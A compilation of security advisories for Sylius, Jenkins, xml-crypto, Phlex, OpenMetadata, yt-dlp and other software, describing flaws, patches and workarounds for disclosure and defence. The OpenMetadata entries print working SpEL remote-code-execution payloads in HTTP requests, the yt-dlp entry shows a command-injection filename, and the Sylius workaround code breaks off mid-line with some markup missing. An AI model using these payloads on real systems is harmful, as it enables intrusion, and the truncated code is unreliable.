Sylius potentially vulnerable to Cross Site Scripting via "Name" field (Taxons, Products, Options, Variants) in Admin Panel

[Severity: MEDIUM]

### Impact

There is a possibility to execute javascript code in the Admin panel. In order to perform an XSS attack input a script into `Name` field in which of the resources: Taxons, Products, Product Options or Product Variants. The code will be executed while using an autocomplete field with one of the listed entities in the Admin Panel. Also for the taxons in the category tree on the product form.

### Patches
The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.16, 1.13.1 and above.

### Workarounds

1. Create a new file `assets/admin/sylius-lazy-choice-tree.js`:

```js
// assets/admin/sylius-lazy-choice-tree.js

function sanitizeInput(input) {
  const div = document.createElement('div');
  div.textContent = input;
  return div.innerHTML; // Converts text content to plain HTML, stripping any scripts
}

const createRootContainer = function createRootContainer() {
  return $('

');
};

const createLeafContainerElement = function createLeafContainerElement() {
  return $('

');
};

const createLeafIconElement = function createLeafIconElement() {
  return $('');
};

const createLeafTitleElement = function createLeafTitleElement() {
  return $('

');
};

const createLeafTitleSpan = function createLeafTitleSpan(displayName) {
  return $(`<span style="margin-right: 5px; cursor: pointer;">${displayName}</span>`);
};

const createLeafContentElement = function createLeafContentElement() {
  return $('

');
};

$.fn.extend({
  choiceTree(type, multiple, defaultLevel) {
    const tree = this;
    const loader = tree.find('.dimmer');
    const loadedLeafs = [];
    const $input = tree.find('input[type="hidden"]');

    const createCheckboxElement = function createCheckboxElement(name, code, multi) {
      const chosenNodes = $input.val().split(',');
      let checked = '';
      if (chosenNodes.some(chosenCode => chosenCode === code)) {
        checked = 'checked="checked"';
      }
      if (multi) {
        return $(`<div class="ui checkbox" data-value="${code}"><input ${checked} type="checkbox" name="${type}"></div>`);
      }

      return $(`<div class="ui radio checkbox" data-value="${code}"><input ${checked} type="radio" name="${type}"></div>`);
    };

    const isLeafLoaded = function isLeafLoaded(code) {
      return loadedLeafs.some(leafCode => leafCode === code);
    };

    let createLeafFunc;

    const loadLeafAction = function loadLeafAction(parentCode, expandButton, content, icon, leafContainerElement) {
      icon.toggleClass('open');

      if (!isLeafLoaded(parentCode)) {
        expandButton.api({
          on: 'now',
          url: tree.data('tree-leafs-url') || tree.data('taxon-leafs-url'),
          method: 'GET',
          cache: false,
          data: {
            parentCode,
          },
          beforeSend(settings) {
            loader.addClass('active');

            return settings;
          },
          onSuccess(response) {
            response.forEach((leafNode) => {
              leafContainerElement.append((
                createLeafFunc(sanitizeInput(leafNode.name), leafNode.code, leafNode.hasChildren, multiple, leafNode.level)
              ));
            });
            content.append(leafContainerElement);
            loader.removeClass('active');
            loadedLeafs.push(parentCode);

            leafContainerElement.toggle();
          },
        });
      }

      leafContainerElement.toggle();
    };

    const bindExpandLeafAction = function bindExpandLeafAction(parentCode, expandButton, content, icon, level) {
      const leafContainerElement = createLeafContainerElement();
      if (defaultLevel > level) {
        loadLeafAction(parentCode, expandButton, content, icon, leafContainerElement);
      }

      expandButton.click(() => {
        loadLeafAction(parentCode, expandButton, content, icon, leafContainerElement);
      });
    };

    const bindCheckboxAction = function bindCheckboxAction(checkboxElement) {
      checkboxElement.checkbox({
        onChecked() {
          const { value } = checkboxElement[0].dataset;
          const checkedValues = $input.val().split(',').filter(Boolean);
          checkedValues.push(value);
          $input.val(checkedValues.join());
        },
        onUnchecked() {
          const { value } = checkboxElement[0].dataset;
          const checkedValues = $input.val().split(',').filter(Boolean);
          const i = checkedValues.indexOf(value);
          if (i !== -1) {
            checkedValues.splice(i, 1);
          }
          $input.val(checkedValues.join());
        },
      });
    };

    const createLeaf = function createLeaf(name, code, hasChildren, multipleChoice, level) {
      const displayNameElement = createLeafTitleSpan(name);
      const titleElement = createLeafTitleElement();
      const iconElement = createLeafIconElement();
      const checkboxElement = createCheckboxElement(name, code, multipleChoice);

      bindCheckboxAction(checkboxElement);

      const leafElement = $('

');
      const leafContentElement = createLeafContentElement();

      leafElement.append(iconElement);
      titleElement.append(displayNameElement);
      titleElement.append(checkboxElement);
      leafContentElement.append(titleElement);

      if (!hasChildren) {
        iconElement.addClass('outline');
      }
      if (hasChildren) {
        bindExpandLeafAction(code, displayNameElement, leafContentElement, iconElement, level);
      }
      leafElement.append(leafContentElement);

      return leafElement;
    };
    createLeafFunc = createLeaf;

    tree.api({
      on: 'now',
      method: 'GET',
      url: tree.data('tree-root-nodes-url') || tree.data('taxon-root-nodes-url'),
      cache: false,
      b


Jenkins Subversion Partial Release Manager Plugin programmatically disables the fix for CVE-2016-3721

[Severity: MEDIUM]

Jenkins Subversion Partial Release Manager Plugin 1.0.1 and earlier programmatically sets the Java system property `hudson.model.ParametersAction.keepUndefinedParameters` whenever a build is triggered from a release tag with the 'Svn-Partial Release Manager' SCM. Doing so disables the fix for [SECURITY-170](https://www.jenkins.io/security/advisory/2016-05-11/#arbitrary-build-parameters-are-passed-to-build-scripts-as-environment-variables) / CVE-2016-3721.

As of publication of this advisory, there is no fix.


Jenkins Script Security Plugin has sandbox bypass vulnerability involving crafted constructor bodies

[Severity: HIGH]

Jenkins Script Security Plugin provides a sandbox feature that allows low privileged users to define scripts, including Pipelines, that are generally safe to execute. Calls to code defined inside a sandboxed script are intercepted, and various allowlists are checked to determine whether the call is to be allowed.

Multiple sandbox bypass vulnerabilities exist in Script Security Plugin 1335.vf07d9ce377a_e and earlier:

- Crafted constructor bodies that invoke other constructors can be used to construct any subclassable type via implicit casts.

- Sandbox-defined Groovy classes that shadow specific non-sandbox-defined classes can be used to construct any subclassable type.

These vulnerabilities allow attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.

- These issues are caused by an incomplete fix of [SECURITY-2824](https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2824%20(1)).

Script Security Plugin 1336.vf33a_a_9863911 has additional restrictions and sanity checks to ensure that super constructors cannot be constructed without being intercepted by the sandbox:

- Calls to to other constructors using this are now intercepted by the sandbox.

- Classes in packages that can be shadowed by Groovy-defined classes are no longer ignored by the sandbox when intercepting super constructor calls.


xml-crypto vulnerable to XML signature verification bypass due improper verification of signature/signature spoofing

[Severity: CRITICAL]

### Summary

Default configuration does not check authorization of the signer, it only checks the validity of the signature per section 3.2.2 of https://www.w3.org/TR/2008/REC-xmldsig-core-20080610/#sec-CoreValidation. As such, without additional validation steps, the default configuration allows a malicious actor to re-sign an XML document, place the certificate in a `<KeyInfo />` element, and pass `xml-crypto` default validation checks.

### Details

Affected `xml-crypto` versions between versions `>= 4.0.0` and `< 6.0.0`.

`xml-crypto` trusts by default any certificate provided via digitally signed XML document's `<KeyInfo />`.

`xml-crypto` prefers to use any certificate provided via digitally signed XML document's `<KeyInfo />` even if library was configured to use specific certificate (`publicCert`) for signature verification purposes.

Attacker can spoof signature verification by modifying XML document and replacing existing signature with signature generated with malicious private key (created by attacker) and by attaching that private key's certificate to `<KeyInfo />` element.

Vulnerability is combination of changes introduced to `4.0.0` at
* https://github.com/node-saml/xml-crypto/pull/301
* https://github.com/node-saml/xml-crypto/commit/c2b83f984049edb68ad1d7c6ad0739ec92af11ca

Changes at PR provided default method to extract certificate from signed XML document.
* https://github.com/node-saml/xml-crypto/blob/c2b83f984049edb68ad1d7c6ad0739ec92af11ca/lib/signed-xml.js#L405-L414
* https://github.com/node-saml/xml-crypto/blob/c2b83f984049edb68ad1d7c6ad0739ec92af11ca/lib/signed-xml.js#L334

and changes at PR prefer output of that method to be used as certificate for signature verification even in the case when library is configured to use specific/pre-configured `signingCert`
* https://github.com/node-saml/xml-crypto/blob/c2b83f984049edb68ad1d7c6ad0739ec92af11ca/lib/signed-xml.js#L507

Name of the `signingCert` was changed later (but prior to `4.0.0` release) to `publicCert`:
* https://github.com/node-saml/xml-crypto/commit/78329fbae34c9b25ba25882604e960f506d7c0e7
* https://github.com/node-saml/xml-crypto/blob/78329fbae34c9b25ba25882604e960f506d7c0e7/lib/signed-xml.js#L507

Issue was fixed to `6.0.0` by disabling implicit usage of default `getCertFromKeyInfo` implementation:
* https://github.com/node-saml/xml-crypto/pull/445
* https://github.com/node-saml/xml-crypto/commit/21201723d2ca9bc11288f62cf72552b7d659b000

Possible workarounds for versions 4.x and 5.x:
- Check the certificate extracted via `getCertFromKeyInfo` against trusted certificates before accepting the results of the validation.
- Set `xml-crypto`'s `getCertFromKeyInfo` to `() => undefined` forcing `xml-crypto` to use an explicitly configured `publicCert` or `privateKey` for signature verification.

### PoC

https://github.com/node-saml/xml-crypto/discussions/399

### Impact

An untrusted certificate can be used to pass a malicious XML payload through an improperly configured installation of `xml-crypto`.


Phlex vulnerable to Cross-site Scripting (XSS) via maliciously formed HTML attribute names and values

[Severity: HIGH]

There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data.

The reason these issues were not detected before is the escapes were working as designed. However, their design didn't take into account just how recklessly permissive browser are when it comes to executing unsafe JavaScript via HTML attributes.

### Impact

If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.

```ruby
a(href: user_profile) { "Profile" }
```

If you splat user-provided attributes when rendering any HTML or SVG tag, malicious event attributes could be included in the output, executing JavaScript when the events are triggered by another user.

```ruby
h1(**JSON.parse(user_attributes))
```

### Patches
Patches are [available on RubyGems](https://rubygems.org/gems/phlex) for all minor versions released in the last year.

- [1.10.2](https://rubygems.org/gems/phlex/versions/1.10.2)
- [1.9.3](https://rubygems.org/gems/phlex/versions/1.9.3)

If you are on `main`, it has been patched since [`da8f943`](https://github.com/phlex-ruby/phlex/commit/da8f94342a84cff9d78c98bcc3b3604ee2e577d2)

### Workarounds
Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.

### References

In addition to upgrading to a patched version of Phlex, we strongly recommend configuring a Content Security Policy header that does not allow `unsafe-inline`. Here’s how you can configure a Content Security Policy header in Rails. https://guides.rubyonrails.org/security.html#content-security-policy-header


Wagtail has permission check bypass when editing a model with per-field restrictions through `wagtail.contrib.settings` or `ModelViewSet`

[Severity: LOW]

### Impact
If a model has been made available for editing through the [`wagtail.contrib.settings`](https://docs.wagtail.org/en/stable/reference/contrib/settings.html) module or [`ModelViewSet`](https://docs.wagtail.org/en/stable/extending/generic_views.html#modelviewset), and the [`permission` argument on `FieldPanel`](https://docs.wagtail.org/en/stable/reference/pages/panels.html#wagtail.admin.panels.FieldPanel.permission) has been used to further restrict access to one or more fields of the model, a user with edit permission over the model but not the specific field can craft an HTTP POST request that bypasses the permission check on the individual field, allowing them to update its value.

The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin, or by a user who has not been granted edit access to the model in question. The editing interfaces for pages and snippets are also unaffected.

### Patches
Patched versions have been released as Wagtail 6.0.3 and 6.1. Wagtail releases prior to 6.0 are unaffected.

### Workarounds
Site owners who are unable to upgrade to a patched version can avoid the vulnerability in `ModelViewSet` by registering the model as a snippet instead. No workaround is available for `wagtail.contrib.settings`.

### Acknowledgements
Many thanks to Ben Morse and Joshua Munn for reporting this issue.

### For more information
If you have any questions or comments about this advisory:

* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)
* Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).


OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)

[Severity: HIGH]

### SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)

***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***

The [`CompiledRule::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/<expression>` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.

[Snippet from PolicyResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L448)

```java
  @GET
  @Path("/validation/condition/{expression}")
  @Operation(
      operationId = "validateCondition",
      summary = "Validate a given condition",
      description = "Validate a given condition expression used in authoring rules.",
      responses = {
        @ApiResponse(responseCode = "204", description = "No value is returned"),
        @ApiResponse(responseCode = "400", description = "Invalid expression")
      })
  public void validateCondition(
      @Context UriInfo uriInfo,
      @Context SecurityContext securityContext,
      @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
          @PathParam("expression")
          String expression) {
    CompiledRule.validateExpression(expression, Boolean.class);
  }
```

```java
  public static <T> void validateExpression(String condition, Class<T> clz) {
    if (condition == null) {
      return;
    }
    Expression expression = parseExpression(condition);
    RuleEvaluator ruleEvaluator = new RuleEvaluator();
    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
    try {
      expression.getValue(evaluationContext, clz);
    } catch (Exception exception) {
      // Remove unnecessary class details in the exception message
      String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
    }
  }
```

In addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.

This vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.
#### Proof of concept

- Prepare the payload
	- Encode `touch /tmp/pwned` in Base64 => `dG91Y2ggL3RtcC9wd25lZA==`
	- SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
	- Encode the payload using URL encoding:
```
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
```

- Send the payload using a valid JWT token:
```http
GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>
```
- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server
#### Impact

This issue may lead to Remote Code Execution by a registered and authenticated user.

#### Remediation

Use [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.


OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)

[Severity: HIGH]

### SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)

***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***

Similarly to the GHSL-2023-250 issue, `AlertUtil::validateExpression` is also called from [`EventSubscriptionRepository.prepare()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EventSubscriptionRepository.java#L69-L83), which can lead to Remote Code Execution.

```java
  @Override
  public void prepare(EventSubscription entity, boolean update) {
    validateFilterRules(entity);
  }

  private void validateFilterRules(EventSubscription entity) {
    // Resolve JSON blobs into Rule object and perform schema based validation
    if (entity.getFilteringRules() != null) {
      List<EventFilterRule> rules = entity.getFilteringRules().getRules();
      // Validate all the expressions in the rule
      for (EventFilterRule rule : rules) {
        AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
      }
      rules.sort(Comparator.comparing(EventFilterRule::getName));
    }
  }
```

`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):

```java
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}
```

Note that, even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and, therefore, after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to `/api/v1/events/subscriptions` which gets handled by [`EventSubscriptionResource.createOrUpdateEventSubscription()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/events/subscription/EventSubscriptionResource.java#L289):

```java
@PUT
@Operation(
    operationId = "createOrUpdateEventSubscription",
    summary = "Updated an existing or create a new Event Subscription",
    description = "Updated an existing or create a new Event Subscription",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "create Event Subscription",
          content =
              @Content(
                  mediaType = "application/json",
                  schema = @Schema(implementation = CreateEventSubscription.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdateEventSubscription(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
  // Only one Creation is allowed for Data Insight
  if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
    try {
      repository.getByName(null, create.getName(), repository.getFields("id"));
    } catch (EntityNotFoundException ex) {
      if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
        throw new BadRequestException("Data Insight Report Alert already exists.");
      }
    }
  }
  EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
  Response response = createOrUpdate(uriInfo, securityContext, eventSub);
  repository.updateEventSubscription((EventSubscription) response.getEntity());
  return response;
}
```

This vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.

#### Proof of concept
- Prepare the payload
	- Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)
	- Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
- Send the payload using a valid JWT token:
```http
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: applic


Kubernetes allows bypassing mountable secrets policy imposed by the ServiceAccount admission plugin

[Severity: LOW]

A security issue was discovered in Kubernetes where users may be able to launch containers that bypass the mountable secrets policy enforced by the ServiceAccount admission plugin when using containers, init containers, and ephemeral containers with the envFrom field populated. The policy ensures pods running with a service account may only reference secrets specified in the service account’s secrets field. Kubernetes clusters are only affected if the ServiceAccount admission plugin and the kubernetes.io/enforce-mountable-secrets annotation are used together with containers, init containers, and ephemeral containers with the envFrom field populated.


Apache Airflow: Sensitive configuration for providers displayed when "non-sensitive-only" config used

[Severity: MEDIUM]

Airflow versions 2.7.0 through 2.8.4 have a vulnerability that allows an authenticated user to see sensitive provider configuration via the "configuration" UI page when "non-sensitive-only" was set as "webserver.expose_config" configuration (The celery provider is the only community provider currently that has sensitive configurations). You should migrate to Airflow 2.9 or change your "expose_config" configuration to False as a workaround. This is similar, but different to  CVE-2023-46288 https://github.com/advisories/GHSA-9qqg-mh7c-chfq  which concerned API, not UI configuration page.


Handling untrusted input can result in a crash, leading to loss of availability / denial of service

[Severity: HIGH]

Using particular inputs with `@solana/web3.js` will result in memory exhaustion (OOM).

If you have a server, client, mobile, or desktop product that accepts untrusted input for use with `@solana/web3.js`, your application/service may crash, resulting in a loss of availability.


Cross-site Scripting (XSS) possible due to improper sanitisation of `href` attributes on `<a>` tags

[Severity: HIGH]

### Summary
There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data.

Our filter to detect and prevent the use of the `javascript:` URL scheme in the `href` attribute of an `<a>` tag could be bypassed with tab `\t` or newline `\n` characters between the characters of the protocol, e.g. `java\tscript:`.

### Impact

If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.

```ruby
a(href: user_profile) { "Profile" }
```

### Mitigation

The best way to mitigate this vulnerability is to update to one of the following versions:

- [1.10.1](https://rubygems.org/gems/phlex/versions/1.10.1)
- [1.9.2](https://rubygems.org/gems/phlex/versions/1.9.2)
- [1.8.3](https://rubygems.org/gems/phlex/versions/1.8.3)
- [1.7.2](https://rubygems.org/gems/phlex/versions/1.7.2)
- [1.6.3](https://rubygems.org/gems/phlex/versions/1.6.3)
- [1.5.3](https://rubygems.org/gems/phlex/versions/1.5.3)
- [1.4.2](https://rubygems.org/gems/phlex/versions/1.4.2)

### Workarounds
Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.


MSAL.NET applications targeting Xamarin Android and .NET Android (MAUI) susceptible to local denial of service

[Severity: LOW]

>[!IMPORTANT]
>**ONLY** applications targeting Xamarin Android and .NET Android (MAUI) are impacted. All others can safely dismiss this CVE.

### Impact

[MSAL.NET](https://www.nuget.org/packages/Microsoft.Identity.Client/) applications targeting Xamarin Android and .NET Android (e.g., MAUI) using the library from versions `4.48.0` to `4.60.3` (inclusive, except `4.59.1` and `4.60.3`) are impacted by a low severity vulnerability.

A malicious application running on a customer Android device can (1) inject HTML/JavaScript in an embedded web view exported by affected applications, or (2) cause local denial of service against applications that were built using MSAL.NET for authentication on the same device (i.e., prevent the user of the legitimate application from logging in) due to incorrect activity export configuration.

### Patches

MSAL.NET version 4.60.3 includes the fix. We recommend all users of MSAL.NET that are building public client applications for Android update to the latest version.

### Workarounds

We recommend developers update to the latest version of MSAL.NET. If that is not possible, a developer may explicitly mark the MSAL.NET activity non-exported:

```xml
<activity android:name="microsoft.identity.client.AuthenticationAgentActivity" android:configChanges="orientation|screenSize" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="msalYOUR_CLIENT_ID" android:host="auth" />
</intent-filter>
</activity>
```

### References

Refer to [MSAL.NET documentation](https://learn.microsoft.com/entra/msal/dotnet/) for latest guidance and best practices on configuring client applications using the library.


Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode

[Severity: MEDIUM]

### Impact
A specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.

### Patches
The function has been refined to reject such strings without the associated resource consumption in version 3.7.

### Workarounds
Domain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

### References
* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb


Evmos transaction execution not accounting for all state transition after interaction with precompiles

[Severity: CRITICAL]

### Context

- [`stateObject`](https://github.com/evmos/evmos/blob/b196a522ba4951890b40992e9f97aa610f8b5f9c/x/evm/statedb/state_object.go#L53-L68): represents the state of an account and is used to store its updates during a state transition. This is accomplished using two in memory Storage variables: `originStorage` and `dirtyStorage`
- [`StateDB`](https://github.com/evmos/evmos/blob/b196a522ba4951890b40992e9f97aa610f8b5f9c/x/evm/statedb/statedb.go#L33-L55): it is the general interface to retrieve accounts and holds a map of stateObjects.

### Impact

An external contributor, @iczc, discovered a way to mint arbitrary tokens due to the possibility to have two different states not in sync during the execution of a transaction. The exploit is based on the fact that to sync the Cosmos SDK state and the EVM one, we rely on the `stateDB.Commit()` method. When we call this method, we iterate though all the `dirtyStorage` and, **if and only if** it is different than the `originStorage`, we [set the new state](https://github.com/evmos/evmos/blob/b196a522ba4951890b40992e9f97aa610f8b5f9c/x/evm/statedb/statedb.go#L460-L465). Setting the new state means we update the Cosmos SDK KVStore.

Below, are described the steps to perform the attack:

- User send a tx to a smart contract (SC) that is calling a precompile.
- The SC perform a state transition of its state from A to B.
- The SC call the precompile.
- The SC perform a state transition of its state from B to A (revert of the previous).
- Once the transaction is executed, and the final **Commit** is performed, the state A will not be committed to the store because A is the same as `originStorage`.

If the tx is executed correctly, this is what happens at the store level:

- Initial state A is loaded from the KVStore and the dirtyStorage is set to B.
- Before running the precompile, the `dirtyStorage` is committed to the KVStore without changing the `originStorage`.
- Now, since we have a `dirtyStorage`, it is updated to the previous value A without changing the `originStorage`.

Since the tx executed correctly, the evm calls the commit to persist the dirtyStorage. However, since dirtyStorage is equal to originStorage, nothing will be changed.

To summarize, if a contract storage state that is the same before and after a transaction, but is changed during the transaction and can call an external contract after the change, it can be exploited to make the transaction similar to non-atomic. The vulnerability is **critical** since this could lead to drain of funds through creative SC interactions.

### Severity

Based on [ImmuneFi Severity Classification System](https://immunefisupport.zendesk.com/hc/en-us/articles/13332717597585-Severity-Classification-System) the severity was evaluated to `Critical` since the attack could have lead to direct loss of funds.

### Patches

The issue has been patched in versions >=V17.0.0.

## For more information
If you have any questions or comments about this advisory:

Reach out to the Core Team in [Discord](https://discord.gg/evmos)
Open a discussion in [evmos/evmos](https://github.com/evmos/evmos/discussions)
Email us at [security@evmos.org](mailto:security@evmos.org) for security questions


Aim Cross-Site Request Forgery vulnerability allows user to delete runs and perform other operations

[Severity: HIGH]

aimhubio/aim is vulnerable to Cross-Site Request Forgery (CSRF), allowing attackers to perform actions such as deleting runs, updating data, and stealing data like log records and notes without the user's consent. The vulnerability stems from the lack of CSRF and CORS protection in the aim dashboard. An attacker can exploit this by tricking a user into executing a malicious script that sends unauthorized requests to the aim server, leading to potential data loss and unauthorized data manipulation.


yt-dlp: `--exec` command injection when using `%q` in yt-dlp on Windows (Bypass of CVE-2023-40581)

[Severity: HIGH]

### Summary
The [patch that addressed CVE-2023-40581](https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e) attempted to prevent RCE when using `--exec` with `%q` by replacing double quotes with two double quotes.
However, this escaping is not sufficient, and still allows expansion of environment variables.

Support for output template expansion in `--exec`, along with this vulnerable behavior, was added to `yt-dlp` in version [2021.04.11](https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.11).

```cmd
> yt-dlp "https://youtu.be/42xO6rVqf2E" --ignore-config -f 18 --exec "echo %(title)q"
[youtube] Extracting URL: https://youtu.be/42xO6rVqf2E
[youtube] 42xO6rVqf2E: Downloading webpage
[youtube] 42xO6rVqf2E: Downloading ios player API JSON
[youtube] 42xO6rVqf2E: Downloading android player API JSON
[youtube] 42xO6rVqf2E: Downloading m3u8 information
[info] 42xO6rVqf2E: Downloading 1 format(s): 18
[download] Destination: %CMDCMDLINE：~-1%&echo pwned&calc.exe [42xO6rVqf2E].mp4
[download] 100% of  126.16KiB in 00:00:00 at 2.46MiB/s
[Exec] Executing command: echo "%CMDCMDLINE:~-1%&echo pwned&calc.exe"
""
pwned
```

